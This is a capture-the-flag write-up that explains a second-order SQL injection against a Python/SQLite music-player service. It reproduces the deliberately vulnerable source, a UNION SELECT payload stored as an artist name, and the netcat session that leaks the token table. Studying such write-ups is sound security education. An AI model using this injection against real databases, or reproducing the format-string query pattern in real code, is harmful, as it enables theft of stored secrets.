SQL Injection on a Music Player

#!/usr/bin/env python2.7

import sqlite3
import random
import sys

BANNER = "=== Media DB ==="
MENU = """\
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit"""

with open('oauth_token') as fd:
  flag = fd.read()

conn = sqlite3.connect(':memory:')
c = conn.cursor()

c.execute("CREATE TABLE oauth_tokens (oauth_token text)")
c.execute("CREATE TABLE media (artist text, song text)")
c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))

def my_print(s):
  sys.stdout.write(s + '\n')
  sys.stdout.flush()

def print_playlist(query):
  my_print("")
  my_print("== new playlist ==")
  for i, res in enumerate(c.execute(query).fetchall()):
    my_print('{}: "{}" by "{}"'.format(i+1, res[1], res[0]))
  my_print("")

my_print(BANNER)

while True:
  my_print(MENU)
  sys.stdout.write("> ")
  sys.stdout.flush()
  choice = raw_input()
  if choice not in ['1', '2', '3', '4', '5']:
    my_print('invalid input')
    continue
  if choice == '1':
    my_print("artist name?")
    artist = raw_input().replace('"', "")
    my_print("song name?")
    song = raw_input().replace('"', "")
    c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song))
  elif choice == '2':
    my_print("artist name?")
    artist = raw_input().replace("'", "")
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  elif choice == '3':
    my_print("song name?")
    song = raw_input().replace("'", "")
    print_playlist("SELECT artist, song FROM media WHERE song = '{}'".format(song))
  elif choice == '4':
    artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
    my_print("choosing songs from random artist: {}".format(artist))
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  else:
    my_print("bye")
    exit(0)
    

A quick netcat on the server ($ nc media-db.ctfcompetition.com 1337) shows that it presumably runs exactly this media_db.py script.

The following line inserts the content of flag into the oauth_tokens table.

c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))

Most probably, the goal of this challenge is to read the contents of the oauth_tokens table. But how? By looking at the available commands, there is no default option for reading from oauth_tokens:

1) add song
2) play artist
3) play song
4) shuffle artist
5) exit

What catches one's eye is the number of SQL queries inside the while True loop. And, by looking into those a bit more, what certainly rings all alarm bells is the escaping of user input. Or, to be more exact, the lack of it.
What can be observed is that for option 1) all double quotes (") are removed from user input, and, for option 2) and 3), all single quotes (') are removed. This way of sanitizing user input clearly is insufficient and allows for a wide range of SQL injection attacks.

Intuitively, inserting arbitrary SQL into options 2) and 3) seems to be the easiest way for getting the oauth tokens as those options immediately print out all results of the query. But finding a way around the delete all single quotes strategy makes this idea nearly impossible.

elif choice == '2':
  my_print("artist name?")
  artist = raw_input().replace("'", "")
  print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
elif choice == '3':
  my_print("song name?")
  song = raw_input().replace("'", "")
  print_playlist("SELECT artist, song FROM media WHERE song = '{}'".format(song))

Now, option 4) prints out SQL query results as well. But it doesn't accept user inputs. Could we use option 4) anyway?
The answer is yes! Option 4) doesn't remove any single quotes from the input variable artist. So by forging a special artist, we can close the query and append any desired additional query to it.

elif choice == '4':
  artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
  my_print("choosing songs from random artist: {}".format(artist))
  print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))

We are now only left with the task to find a way for inserting such special artist into the database so that we can later call it via option 4). As previously stated, the input sanitization is catastrophic and will now help us in inserting such artist. Option 1) offers the functionality to add an artist to the database but doesn't follow the delete all single quotes strategy. Therefore, single quotes added via option 1) are later passed to the SQL query of option 4).

We forge the following query and add it as artist via option 1):

artist' UNION SELECT oauth_token, oauth_token FROM oauth_tokens; --

Remember, the single quote after artist will neither be removed from option 1), nor from option 4). To prevent syntax errors, we comment the third single quote out with the help of ; -- which is SQL syntax and means that all text behind the minuses is ignored.
After adding the artist, we can call option 4) and thereby receive the flag:

CTF{fridge_cast_oauth_token_cahn4Quo}

This is the raw communication with the server:

$ nc media-db.ctfcompetition.com 1337

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
artist' UNION SELECT oauth_token, oauth_token FROM oauth_tokens; --
song name?

1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: artist' UNION SELECT oauth_token, oauth_token FROM oauth_tokens; --

== new playlist ==
1: "CTF{fridge_cast_oauth_token_cahn4Quo}
" by "CTF{fridge_cast_oauth_token_cahn4Quo}
"

1) add song
2) play artist
3) play song
4) shuffle artist
5) exit